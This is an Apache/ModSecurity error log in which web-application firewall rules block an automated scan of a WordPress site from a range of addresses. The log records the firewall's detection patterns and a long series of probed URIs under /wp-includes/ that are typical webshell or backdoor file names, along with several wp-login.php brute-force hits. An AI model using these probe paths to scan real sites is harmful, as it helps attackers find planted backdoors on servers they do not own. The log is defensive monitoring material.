[Thu Feb 26 18:46:32.817488 2026] [:error] [pid 55618:tid 55622] [client 193.37.32.43:63751] [client 193.37.32.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aaAkiB61Vrh12f_8oWTT2AAAAQE"]
[Thu Feb 26 18:46:33.110580 2026] [:error] [pid 55051:tid 55060] [client 193.37.32.53:34289] [client 193.37.32.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aaAkiQmK1w2kZvh5eLFXtQAAAIY"]
[Thu Feb 26 18:46:33.481493 2026] [:error] [pid 55051:tid 55059] [client 193.37.32.13:59369] [client 193.37.32.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aaAkiQmK1w2kZvh5eLFXvgAAAIU"]
[Thu Feb 26 18:46:33.684972 2026] [:error] [pid 55051:tid 55069] [client 193.37.32.39:49213] [client 193.37.32.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aaAkiQmK1w2kZvh5eLFXwwAAAI8"]
[Thu Feb 26 18:46:33.967890 2026] [:error] [pid 55618:tid 55625] [client 193.37.32.30:61231] [client 193.37.32.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaAkiR61Vrh12f_8oWTT2gAAAQQ"]
[Thu Feb 26 18:46:37.126449 2026] [:error] [pid 55122:tid 55131] [client 193.37.32.46:47753] [client 193.37.32.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aaAkjYLiR0OfjFxvcN8BgQAAAMc"]
[Thu Feb 26 18:46:37.563781 2026] [:error] [pid 54990:tid 55000] [client 193.37.32.19:51733] [client 193.37.32.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aaAkjXtr2qmt_mBhH2wIcAAAAAc"]
[Thu Feb 26 18:46:37.763869 2026] [:error] [pid 25311:tid 25319] [client 193.37.32.30:59813] [client 193.37.32.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaAkjdfdM__yZAgJFSt7FQAAAYU"]
[Thu Feb 26 18:46:39.079587 2026] [:error] [pid 55051:tid 55055] [client 193.37.32.24:41159] [client 193.37.32.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aaAkjwmK1w2kZvh5eLFX_QAAAIE"]
[Thu Feb 26 18:46:39.726686 2026] [:error] [pid 25311:tid 25331] [client 193.37.32.5:49597] [client 193.37.32.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.32.5, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aaAkj9fdM__yZAgJFSt7GwAAAZE"]
[Thu Feb 26 18:46:41.675410 2026] [:error] [pid 25311:tid 25327] [client 193.37.32.5:49597] [client 193.37.32.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aaAkkdfdM__yZAgJFSt7MQAAAY0"]
[Thu Feb 26 18:46:42.255858 2026] [:error] [pid 54991:tid 55037] [client 193.37.32.9:20671] [client 193.37.32.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.32.9, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aaAkkt4Zx-mJ8gbRB2jAHwAAAFE"]
[Thu Feb 26 18:46:42.535311 2026] [:error] [pid 54991:tid 55039] [client 193.37.32.9:20671] [client 193.37.32.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "aaAkkt4Zx-mJ8gbRB2jAIQAAAFM"]
[Thu Feb 26 18:46:43.767480 2026] [:error] [pid 3883:tid 3897] [client 193.37.32.9:22509] [client 193.37.32.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aaAkk-A33x90V6yYHahASAAAAUs"]
[Thu Feb 26 18:46:45.275301 2026] [:error] [pid 20419:tid 20432] [client 193.37.32.45:59079] [client 193.37.32.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aaAkle3DVDvMfTYYUBURKAAAAco"]
[Thu Feb 26 18:46:45.777871 2026] [:error] [pid 3883:tid 3893] [client 193.37.32.53:46237] [client 193.37.32.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aaAkleA33x90V6yYHahAdAAAAUc"]
[Thu Feb 26 18:46:46.306652 2026] [:error] [pid 55618:tid 55638] [client 193.37.32.34:53441] [client 193.37.32.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.32.34, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aaAklh61Vrh12f_8oWTUJQAAARE"]
[Thu Feb 26 18:46:46.580968 2026] [:error] [pid 55618:tid 55635] [client 193.37.32.34:53441] [client 193.37.32.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aaAklh61Vrh12f_8oWTUKAAAAQ4"]
[Thu Feb 26 18:46:49.313611 2026] [:error] [pid 55051:tid 55078] [client 193.37.32.45:33999] [client 193.37.32.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aaAkmQmK1w2kZvh5eLFYdgAAAJg"]
[Thu Feb 26 18:46:51.824939 2026] [:error] [pid 20419:tid 20438] [client 193.37.32.9:40369] [client 193.37.32.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.32.9, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aaAkm-3DVDvMfTYYUBURagAAAdA"]
[Thu Feb 26 18:46:52.383792 2026] [:error] [pid 20419:tid 20446] [client 193.37.32.9:40369] [client 193.37.32.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aaAknO3DVDvMfTYYUBURdAAAAdg"]
[Thu Feb 26 18:46:52.677826 2026] [:error] [pid 55051:tid 55075] [client 193.37.32.24:46833] [client 193.37.32.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aaAknAmK1w2kZvh5eLFYmAAAAJU"]
[Thu Feb 26 18:46:53.341238 2026] [:error] [pid 55051:tid 55061] [client 193.37.32.36:35943] [client 193.37.32.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aaAknQmK1w2kZvh5eLFYrgAAAIc"]
[Thu Feb 26 18:46:53.851573 2026] [:error] [pid 25311:tid 25327] [client 193.37.32.51:24119] [client 193.37.32.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aaAkndfdM__yZAgJFSt7awAAAY0"]
[Thu Feb 26 18:46:54.076430 2026] [:error] [pid 55122:tid 55141] [client 193.37.32.20:48617] [client 193.37.32.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aaAknoLiR0OfjFxvcN8B_gAAANE"]
[Thu Feb 26 18:46:55.002443 2026] [:error] [pid 3883:tid 3893] [client 193.37.32.39:59749] [client 193.37.32.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aaAkn-A33x90V6yYHahBCwAAAUc"]
[Thu Feb 26 18:46:55.495404 2026] [:error] [pid 55122:tid 55132] [client 193.37.32.39:24313] [client 193.37.32.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aaAkn4LiR0OfjFxvcN8CEwAAAMg"]
[Thu Feb 26 18:46:56.119703 2026] [:error] [pid 55051:tid 55055] [client 193.37.32.45:45253] [client 193.37.32.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aaAkoAmK1w2kZvh5eLFY1AAAAIE"]
[Thu Feb 26 18:46:56.758773 2026] [:error] [pid 3883:tid 3901] [client 193.37.32.22:48319] [client 193.37.32.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aaAkoOA33x90V6yYHahBFQAAAU8"]
[Thu Feb 26 18:46:57.219153 2026] [:error] [pid 55051:tid 55064] [client 193.37.32.11:39541] [client 193.37.32.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/click.php"] [unique_id "aaAkoQmK1w2kZvh5eLFY7wAAAIo"]
[Thu Feb 26 18:46:57.794723 2026] [:error] [pid 54991:tid 55033] [client 193.37.32.37:42517] [client 193.37.32.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aaAkod4Zx-mJ8gbRB2jAbAAAAE0"]
[Thu Feb 26 18:46:59.089250 2026] [:error] [pid 55051:tid 55076] [client 193.37.32.37:33987] [client 193.37.32.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aaAkowmK1w2kZvh5eLFZOQAAAJY"]
[Thu Feb 26 18:46:59.338670 2026] [:error] [pid 55051:tid 55058] [client 193.37.32.6:64617] [client 193.37.32.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aaAkowmK1w2kZvh5eLFZPgAAAIQ"]
[Thu Feb 26 18:46:59.710566 2026] [:error] [pid 55122:tid 55126] [client 193.37.32.130:61675] [client 193.37.32.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aaAko4LiR0OfjFxvcN8COAAAAMI"]
[Thu Feb 26 18:46:59.901046 2026] [:error] [pid 55122:tid 55128] [client 193.37.32.26:53991] [client 193.37.32.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aaAko4LiR0OfjFxvcN8CQQAAAMQ"]
[Thu Feb 26 18:47:00.363855 2026] [:error] [pid 55618:tid 55621] [client 193.37.32.20:31825] [client 193.37.32.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aaAkpB61Vrh12f_8oWTUUwAAAQA"]
[Thu Feb 26 18:47:00.609850 2026] [:error] [pid 55122:tid 55126] [client 193.37.32.35:50765] [client 193.37.32.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aaAkpILiR0OfjFxvcN8CTgAAAMI"]
[Thu Feb 26 18:47:03.408308 2026] [:error] [pid 55051:tid 55075] [client 193.37.32.36:46969] [client 193.37.32.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aaAkpwmK1w2kZvh5eLFZbgAAAJU"]
[Thu Feb 26 18:47:04.836179 2026] [:error] [pid 3883:tid 3909] [client 193.37.32.36:43165] [client 193.37.32.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aaAkqOA33x90V6yYHahBbAAAAVc"]
[Thu Feb 26 18:47:05.070046 2026] [:error] [pid 3883:tid 3900] [client 193.37.32.31:64937] [client 193.37.32.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aaAkqeA33x90V6yYHahBeAAAAU4"]
[Thu Feb 26 18:47:05.424167 2026] [:error] [pid 3883:tid 3909] [client 193.37.32.51:40895] [client 193.37.32.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aaAkqeA33x90V6yYHahBggAAAVc"]
[Thu Feb 26 18:47:05.866897 2026] [:error] [pid 3883:tid 3903] [client 193.37.32.26:63251] [client 193.37.32.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aaAkqeA33x90V6yYHahBkQAAAVE"]
[Thu Feb 26 18:47:06.418541 2026] [:error] [pid 54991:tid 55032] [client 193.37.32.43:35517] [client 193.37.32.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aaAkqt4Zx-mJ8gbRB2jAewAAAEw"]
[Thu Feb 26 18:47:07.230893 2026] [:error] [pid 20419:tid 20427] [client 193.37.32.51:21207] [client 193.37.32.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aaAkq-3DVDvMfTYYUBUR2QAAAcU"]
[Thu Feb 26 18:47:08.494021 2026] [:error] [pid 20419:tid 20446] [client 193.37.32.11:24103] [client 193.37.32.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aaAkrO3DVDvMfTYYUBUSBwAAAdg"]
[Thu Feb 26 18:47:09.125129 2026] [:error] [pid 3883:tid 3910] [client 193.37.32.13:51377] [client 193.37.32.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aaAkreA33x90V6yYHahBxQAAAVg"]
[Thu Feb 26 18:47:09.345255 2026] [:error] [pid 20419:tid 20425] [client 193.37.32.22:53221] [client 193.37.32.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aaAkre3DVDvMfTYYUBUSHAAAAcM"]
[Thu Feb 26 18:47:12.166600 2026] [:error] [pid 55618:tid 55622] [client 193.37.32.41:48685] [client 193.37.32.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aaAksB61Vrh12f_8oWTUoQAAAQE"]
[Thu Feb 26 18:47:12.932474 2026] [proxy_fcgi:error] [pid 55051:tid 55060] [client 193.37.32.22:20131] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 18:47:13.047588 2026] [proxy_fcgi:error] [pid 55051:tid 55063] [client 193.37.32.22:20131] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 18:47:13.167493 2026] [proxy_fcgi:error] [pid 55051:tid 55068] [client 193.37.32.22:20131] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 18:47:14.050115 2026] [:error] [pid 55051:tid 55063] [client 193.37.32.22:20131] [client 193.37.32.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aaAksgmK1w2kZvh5eLFZxgAAAIk"]
[Thu Feb 26 18:47:14.358447 2026] [:error] [pid 55051:tid 55077] [client 193.37.32.24:45877] [client 193.37.32.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aaAksgmK1w2kZvh5eLFZzQAAAJc"]
[Thu Feb 26 18:47:14.660087 2026] [:error] [pid 55051:tid 55059] [client 193.37.32.23:29795] [client 193.37.32.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aaAksgmK1w2kZvh5eLFZ0AAAAIU"]
